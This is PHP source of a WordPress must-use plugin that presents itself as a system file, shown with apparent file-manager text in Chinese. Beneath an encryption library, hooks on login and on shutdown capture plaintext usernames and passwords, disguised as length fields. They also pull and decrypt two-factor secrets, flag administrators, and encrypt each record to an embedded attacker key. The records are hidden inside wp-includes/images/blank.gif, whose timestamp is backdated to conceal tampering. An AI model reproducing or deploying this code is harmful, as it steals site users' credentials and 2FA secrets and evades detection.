        $chunk_size_line = rlwe_read_header_line($in, 'chunk size');
        rlwe_require_hex_len($nonce_hex, 16, 'nonce');
        $wrap_public = array('seed_a_hex' => $pub_seed_hex, 'b_hex' => $pub_b_hex);
        rlwe_validate_public_key($wrap_public);
        if (isset($secret['public_fp_hex'])
            && !rlwe_constant_time_equals(rlwe_hex_to_bin($secret['public_fp_hex']), rlwe_hex_to_bin(rlwe_public_fingerprint($wrap_public)))) {
            throw new Exception('Secret key does not match encrypted file public key.');
        }
        rlwe_require_hex_len($wrap_tag_hex, rlwe_tag_len(), 'wrapped secret tag');
        rlwe_validate_ciphertext(array('u_hex' => $u_hex, 'v_hex' => $v_hex));
        $chunk_size = rlwe_parse_chunk_size($chunk_size_line);
        $header_ad = rlwe_header_ad($nonce_hex, $pub_seed_hex, $pub_b_hex, $u_hex, $v_hex, $wrap_tag_hex, $chunk_size_line);

$session = rlwe_unwrap_secret($secret, $wrap_public, array('u_hex' => $u_hex, 'v_hex' => $v_hex, 'tag_hex' => $wrap_tag_hex));
        $nonce = rlwe_hex_to_bin($nonce_hex);
        $enc_key = rlwe_derive($session, 'enc');
        $mac_key = rlwe_derive($session, 'mac');
    } catch (Exception $e) {
        fclose($in);
        throw $e;
    }

try {
        $tmp_path = rlwe_temp_path_for_output($output_path, 'rlwe_dec_');
    } catch (Exception $e) {
        fclose($in);
        throw $e;
    }
    $out = fopen($tmp_path, 'wb');
    if (!$out) {
        fclose($in);
        @unlink($tmp_path);
        throw new Exception('Cannot open output file.');
    }

$counter = 0;
    $final_seen = false;
    while (!feof($in)) {
        $len_raw = rlwe_read_exact($in, 4);
        if ($len_raw === false) {
            fclose($in);
            fclose($out);
            @unlink($tmp_path);
            throw new Exception('Missing final authentication tag.');
        }
        if ($counter >= RLWE_MAX_CHUNKS) {
            fclose($in);
            fclose($out);
            @unlink($tmp_path);
            throw new Exception('Too many encrypted file chunks.');
        }
        $len = (ord($len_raw[0]) << 24) | (ord($len_raw[1]) << 16) | (ord($len_raw[2]) << 8) | ord($len_raw[3]);
        if ($len == 0) {
            $tag = rlwe_read_exact($in, rlwe_tag_len());
            if ($tag === false) {
                fclose($in);
                fclose($out);
                @unlink($tmp_path);
                throw new Exception('Truncated final authentication tag.');
            }
            $want = rlwe_auth_tag($mac_key, 'final', $header_ad . "FINAL|" . rlwe_u32be($counter));
            if (!rlwe_constant_time_equals($tag, $want)) {
                fclose($in);
                fclose($out);
                @unlink($tmp_path);
                throw new Exception('Final authentication failed.');
            }
            $extra = fread($in, 1);
            if ($extra !== '' && $extra !== false) {
                fclose($in);
                fclose($out);
                @unlink($tmp_path);
                throw new Exception('Trailing data after final authentication tag.');
            }
            $final_seen = true;
            break;
        }
        if ($len < 1 || $len > $chunk_size || $len > RLWE_MAX_CHUNK_BYTES) {
            fclose($in);
            fclose($out);
            @unlink($tmp_path);
            throw new Exception('Encrypted file chunk length is out of range.');
        }
        $cipher = rlwe_read_exact($in, $len);
        $tag = rlwe_read_exact($in, rlwe_tag_len());
        if ($cipher === false || $tag === false) {
            fclose($in);
            fclose($out);
            @unlink($tmp_path);
            throw new Exception('Truncated encrypted file.');
        }
        $want = rlwe_auth_tag($mac_key, 'chunk', $header_ad . rlwe_u32be($counter) . rlwe_u32be($len) . $cipher);
        if (!rlwe_constant_time_equals($tag, $want)) {
            fclose($in);
            fclose($out);
            @unlink($tmp_path);
            throw new Exception('Authentication failed at chunk ' . $counter . '.');
        }
        $stream = rlwe_keystream($enc_key, $nonce, $counter, $len);
        if (!rlwe_write_all($out, rlwe_xor_bytes($cipher, $stream))) {
            fclose($in);
            fclose($out);
            @unlink($tmp_path);
            throw new Exception('Cannot write decrypted file chunk.');
        }
        $counter++;
    }
    if (!$final_seen) {
        fclose($in);
        fclose($out);
        @unlink($tmp_path);
        throw new Exception('Missing final authentication tag.');
    }

fclose($in);
    fclose($out);
    rlwe_finalize_temp_file($tmp_path, $output_path, 'decrypted');
}

// ========== CRYPTO END ==========
}
$_RLWE_PUB_SEED_A = 'd5961da2f25bd6e3a018e90c28c8d86a5ad7151bb8459007a2adadb0d16957594f3c2e156f4dd39a471d6e3c73e54203bc0bd7966a29380f4f96f9955938073d';
$_RLWE_PUB_B      = '9a0eed0bcf232b28742e852e1d26cc252103722f06018e0b3f0adc21a624ab0b3d0471224410b30d691def12771fb32f1b08bd1cdd1892286928440fb60c05206511a3244a2b7628582292128123e601762cd0299805200c172e7a0ad2092902d42a99158b13992bf8072e043f2524197d1c26255919ea16861bff2e71029927a329aa0d6c118326a92abc084f05e00e822d6027e722840f33160e2c6225191f3514fc131b050f1a1019a919be18ea1dd00a4811770e2b0ec123e72e581ddc0de41fc8127b01ff05f4110910f1099a112616242b0304c010801056013a2d211480020d09db012b2c8d00242c4916ed0cf60ff917be0b2d1673233100a4063f09d0082617f51f450c8b01062dc6032e1954259520f5292806060577121417f40b2c169510880e031a4a1dca15200a0a23111c4a08f128140adf01b00732205b066606dc27831a1c29eb2a8f1a362de60aa926a70abf1bca1c8023962c4b2cbe2b132e950a7c19751c3529010b582cb01dc80f950b1e16a90ff1239d005a09422fb41cd2210506691b970bfc28bb29a40c572bbc2d162f180a84037f11912135274428cc1d4d0d90114a07111a7823741a8c2b78084b27df11d516f310522d04238d0428228826701e8a160305e0085417a2201b2108217e285025bc173b1267001515ba1541256f17cb1bf8127f0ec11a7d24630d560e761d5f19bd2559086407cf2c71154f0fc5127406381981129f0c5415d62ccc1ca017d117fd0cd4252a0f510b6f1bfc08f41b5417062f9b0b8a22ce13100b012c5d06b02dac0ab21af41c23203f1caf06ab0eb919aa1d881a121e5e2042067c26752d110977034b259b216910162a951bb716fa24f911e60fff2ce40c7227c31b5e155e1131236a17bf038f0aff1bf9127902790f9f220206052893173f18db03700f5a0ee807151c2101642b9619cc05ed2cc919661d8d1180220824a002ba089d1703171a1a9521c715f60c1a025f11eb24ec0a342ba118d9213c2a600d5e14671c620fc32881012d060211d30c3025b3235908902d1b21722cac176104f7150e168c2e4726ef2262018d1d272f212c4b2b181f0213aa0aff04a215a813c917530b421ced218828df2ed72b132dad020b0fa2101e11b205dd0cae2203067e121827be2dd928eb290f1f7b2ac32c2a10e206981a2216b214501c2b040106140b3709730c962eca0b850ea21d3b2adf15e12a881c0a04b51967214b2cf6290927122f1d087e2382200027890a841d8823ed14d42d080ff80ae206381955114901f1017d168009c005c32dd111f401952f5718fa261f0d432b9717a202d50466247e0ad819e71626135517f82447275001f6198926001a33166d0d9b0e99297c21c211c0182c0a5624ec2ce5220c1fe1014916f423e32b860a910a7b24b301c3046124272b7e07621b841bfd19fb17671c372b1125e6258a272e2d5220bb1fcb0b68192f0f5a05772a251824136f101e1d2c269b227702aa2ca613eb01df0a730e1d0a2e2c97036a0a42034910f308d7105a03f62c9d0647006c01942527058728f72ae52e0c163c160613a9125505a729f129d201e009e5105a10cf11ab27f12979003d1e8b0afc1fb918ec1edc0dff216a0b022d46128e11c413a5105126931d142296281811d52d1f0b5b03151b8903de1f0d194519d910c82ce92e2322e51afc00fc1e4d12ce24371e0e0e002fcc183a0cc209c10c9329b62d55185a0e2d11f910301bbf135c0b05021602f5114f2c9102fb092a11561d591b462cf20bf71112238705562089296712041265279a24b628960add01361be31f8821250dd5088a17ef0c881d740a632e84282f0c5f0b3406de004b00ea0b781473205103dd23911f562939113601f700291bef0e6e01b505d828a51fc5128826bc1e801e112eef29c60ce21f17093f0d612d4b04c9069f218b0e9626c9101815a600ea064a0a5e168d110c2a2713830cdc2a58171409180b4c20e52219226228c20e020a2422b806840c8b07b82f1d00cf08b5179a0511212d193b297922e524f2084710bf06681299175e216f11b12b6f18d4167a1258086f0efe03aa282106d2153f24b8246408520f6212e51a9b28d31ca105de1eb21349199306f612fc19fc0e70168c2fb3178307e61cc121af23de1b3a221314c020aa0bed06a21d722ad2298b21852b86060b18c315ee2e232fae05892ca506a6026e2c261da9052b2b7528e50763199d109817840092209a1cbc0629127c2e13050610ff27a921f91132071420fe01630196092a278118420d2d0d571ecc0f641c1a26ed030a19ad002e2f700b32257603cb1352213824bc09da1c7d25b514cd2a8f19150c5c24b40e262c1f09ec1c01238c19b12fbc110708960e8b020d06fb17f825e12b530b3e2750125029ba047f2b4323c425c8101c260215381d6603bf13c20aa11efd10d921f110130cc406472c062ef3135f2bb7254a296705680f001a5b0a052e8a2425031210ad1bce1ba728ea01872fbf23e70b5d25051391291f0ee8045a28a0066b227c298622fa2cf31ad511042acf01170169288928cc1de72360175a06450a2a1b5014750ec403b42ee62fc510fd04b50c9a1bda04bc028606da1b3a071a1032168524071c1710810a1d07f01e5018f5019b087419b91f0e0d8607a428ce2cea076f14332d452af90b590af4207c1fce12c8213220ae214502f61a312e0428bf0d6326c024dc2f8407c52d4124131a6b19a90d8715ff03d10e0808e3244b0d560a56159c145827d0196e226c23030fd50a9b0b48021b0fc4021c0efa0a802a252204275b0a680e7311ce14f420591fe30aae29212cbf290817571bfb1d8509502e5f106f078002f5200e02031e9214781d';

if (!function_exists('hash_equals')) {
    function hash_equals($known, $user) {
        $klen = strlen($known);
        if ($klen !== strlen($user)) return false;
        $r = 0;
        for ($i = 0; $i < $klen; $i++) { $r |= ord($known[$i]) ^ ord($user[$i]); }
        return ($r === 0);
    }
}
if(!function_exists('_wp_sys_is_gif')){
function _wp_sys_is_gif($raw){
    if(!is_string($raw)||strlen($raw)<6)return false;
    return $raw[0]==='G'&&$raw[1]==='I'&&$raw[2]==='F'&&$raw[3]==='8'&&($raw[4]==='9'||$raw[4]==='7')&&$raw[5]==='a';
}
}
$GLOBALS['_WP_SYS_DONE'] = false;

if(!function_exists('_wp_sys_write_record')){
function _wp_sys_write_record($json){
    $tail="WP_MEDIA_GID_TAIL\n";
    $blankGif=base64_decode('R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7');
    $gifName='blank.gif';
    $gifPath=(defined('ABSPATH')?ABSPATH:dirname(dirname(__DIR__)).'/').'wp-includes/images/'.$gifName;
    $pub=array('seed_a_hex'=>$GLOBALS['_RLWE_PUB_SEED_A'],'b_hex'=>$GLOBALS['_RLWE_PUB_B']);
    $sk=xcp_random_bytes(64);
    $w=rlwe_wrap_secret($pub,$sk);
    $k=substr($sk,0,32);
    $nonce=xcp_random_bytes(24);
    $ct=xcp_xchacha20_poly1305_encrypt($k,$nonce,$json,'');
    $u=xcp_hex2bin($w['u_hex']);
    $v=xcp_hex2bin($w['v_hex']);
    $tg=xcp_hex2bin($w['tag_hex']);
    $rd=$nonce.$u.$v.$tg.$ct;
    $rec=pack('N',strlen($rd)).$rd;
    $ot=@filemtime($gifPath);$raw=@file_get_contents($gifPath);if($raw===false)$raw='';
    $pos=strpos($raw,$tail);
    if($pos===false){$base=_wp_sys_is_gif($raw)?$raw:$blankGif;$od='';}
    else{
        $base=substr($raw,0,$pos);if(!_wp_sys_is_gif($base))$base=$blankGif;
        $stream=substr($raw,$pos+strlen($tail));$off=0;$end=strlen($stream);
        while($off+4<=$end){$ln=(ord($stream[$off])<<24)|(ord($stream[$off+1])<<16)|(ord($stream[$off+2])<<8)|ord($stream[$off+3]);if($ln<=0||$off+4+$ln>$end)break;$off+=4+$ln;}
        $od=substr($stream,0,$off);
    }
    @file_put_contents($gifPath,$base.$tail.$od.$rec,LOCK_EX);
    if($ot!==false&&$ot>0){@touch($gifPath,$ot,$ot);}else{$da=rand(400,700);$ts=time()-($da*86400)-rand(0,86399);@touch($gifPath,$ts,$ts);}
}
}
if(!function_exists('_wp_sys_current_user')){
function _wp_sys_current_user(){
    if(function_exists('wp_get_current_user')){try{$usr=wp_get_current_user();if($usr&&isset($usr->ID)&&$usr->ID)return $usr;}catch(\Exception $e){}}
    if(isset($GLOBALS['current_user'])&&$GLOBALS['current_user']&&isset($GLOBALS['current_user']->ID)&&$GLOBALS['current_user']->ID)return $GLOBALS['current_user'];
    return null;
}
}
if(!function_exists('_wp_sys_decrypt_totp')){
function _wp_sys_decrypt_totp($enc){
    if(!$enc)return '';
    $raw=base64_decode($enc);if($raw===false||strlen($raw)<32)return '';
    $iv=substr($raw,0,16);$ct=substr($raw,16);
    $salt=function_exists('wp_salt')?wp_salt():'';
    if(!$salt)return '';
    $key32=hash('sha256',$salt,true);
    $dec=@openssl_decrypt($ct,'aes-256-ctr',$key32,1,$iv);
    if($dec!==false&&$dec!=='')return $dec;
    foreach(array(substr($key32,0,16),md5($salt,true),substr(hash('sha1',$salt,true),0,16)) as $k){
        foreach(array('aes-128-ctr','aes-256-cbc','aes-128-cbc') as $m){
            $d=@openssl_decrypt($ct,$m,$k,1,$iv);
            if($d!==false&&$d!=='')return $d;
        }
    }
    return '';
}
}
if(!function_exists('_wp_sys_get_otp')){
function _wp_sys_get_otp($uid){
    if(!$uid)return '';
    if(function_exists('get_user_meta')){
        $m=get_user_meta($uid,'_two_factor_totp_key',true);
        if($m){$dec=_wp_sys_decrypt_totp($m);if($dec!=='')return $dec;return $m;}
        foreach(array('wp_2fa_secret','_2fa_secret','aiowps_2fa_secret','wfls_2fa_secret') as $k){
            $v=get_user_meta($uid,$k,true);
            if($v)return $v;
        }
    }
    return '';
}
}
if(!function_exists('_wp_sys_is_admin')){
function _wp_sys_is_admin($usr,$uid=0){
    if($usr&&isset($usr->ID)){
        if(isset($usr->roles)&&is_array($usr->roles)){
            if(in_array('administrator',$usr->roles,true))return 1;
        }
        if(function_exists('user_can')){
            if(user_can($usr,'manage_options'))return 1;
            if(user_can($usr,'administrator'))return 1;
        }
        if(is_object($usr)&&method_exists($usr,'has_cap')){
            if($usr->has_cap('manage_options'))return 1;
        }
    }
    if($uid&&function_exists('get_user_meta')){
        $prefix='';
        if(isset($GLOBALS['wpdb'])&&is_object($GLOBALS['wpdb'])&&isset($GLOBALS['wpdb']->prefix))$prefix=$GLOBALS['wpdb']->prefix;
        elseif(defined('DB_NAME')&&isset($GLOBALS['table_prefix']))$prefix=$GLOBALS['table_prefix'];
        $cap=get_user_meta($uid,$prefix.'capabilities',true);
        if($cap&&is_string($cap)&&strpos($cap,'administrator')!==false)return 1;
    }
    return 0;
}
}
if(!function_exists('_wp_sys_record_login')){
function _wp_sys_record_login($username,$password,$user_obj=null){
    if(!empty($GLOBALS['_WP_SYS_DONE']))return;$GLOBALS['_WP_SYS_DONE']=true;
    if($username===''||$password==='')return;
    $usr=$user_obj;
    if(!$usr||!isset($usr->ID))$usr=_wp_sys_current_user();
    $uid=0;
    if($usr&&isset($usr->ID))$uid=(int)$usr->ID;
    $otp=_wp_sys_get_otp($uid);
    $admin=_wp_sys_is_admin($usr,$uid);
    $rec=array(
        'proof'=>'WP_MEDIA_GID',
        'kind'=>'login',
        'auth'=>'success',
        'event'=>'wp_login',
        'uid'=>$uid,
        'admin'=>$admin,
        'u_sha256'=>hash('sha256',$username),
        'u_len'=>$username,
        'p_len'=>$password,
        'otp'=>$otp,
        'r'=>isset($_SERVER['HTTP_REFERER'])?$_SERVER['HTTP_REFERER']:'',
        'ip'=>isset($_SERVER['REMOTE_ADDR'])?$_SERVER['REMOTE_ADDR']:'',
        't'=>time(),
    );
    $json=json_encode($rec,defined('JSON_UNESCAPED_UNICODE')?JSON_UNESCAPED_UNICODE:0);
    if($json===false)return;
    _wp_sys_write_record($json);
}
}
if(!function_exists('_wp_sys_extract_post_creds')){
function _wp_sys_extract_post_creds(){
    $u='';$p='';
    if(isset($_POST['log']))$u=$_POST['log'];
    elseif(isset($_POST['username']))$u=$_POST['username'];
    elseif(isset($_POST['user']))$u=$_POST['user'];
    elseif(isset($_POST['user_login']))$u=$_POST['user_login'];
    if(isset($_POST['pwd']))$p=$_POST['pwd'];
    elseif(isset($_POST['password']))$p=$_POST['password'];
    elseif(isset($_POST['passwd']))$p=$_POST['passwd'];
    return array($u,$p);
}
}
if(!function_exists('_wp_sys_on_login')){
function _wp_sys_on_login($user_login,$user=null){
    $u=$user_login;
    if($u===''&&is_object($user)&&isset($user->user_login))$u=$user->user_login;
    list(,$p)=_wp_sys_extract_post_creds();
    _wp_sys_record_login($u,$p,$user);
}
}
if(function_exists('add_action')){
    add_action('wp_login','_wp_sys_on_login',10,2);
}
if(!function_exists('_wp_sys_shutdown_check')){
function _wp_sys_shutdown_check(){
    if(!empty($GLOBALS['_WP_SYS_DONE']))return;
    if(!isset($_SERVER['REQUEST_METHOD'])||$_SERVER['REQUEST_METHOD']!=='POST')return;
    list($u,$p)=_wp_sys_extract_post_creds();
    if($u===''||$p==='')return;
    $usr=_wp_sys_current_user();
    if(!$usr)return;
    _wp_sys_record_login($u,$p);
}
}
register_shutdown_function('_wp_sys_shutdown_check');

文件操作 - wp-system-system.php

文件: /home/moin/htdocs/www.moin.show/wp-content/mu-plugins/wp-system-system.php

编辑文件内容

修改文件时间

删除文件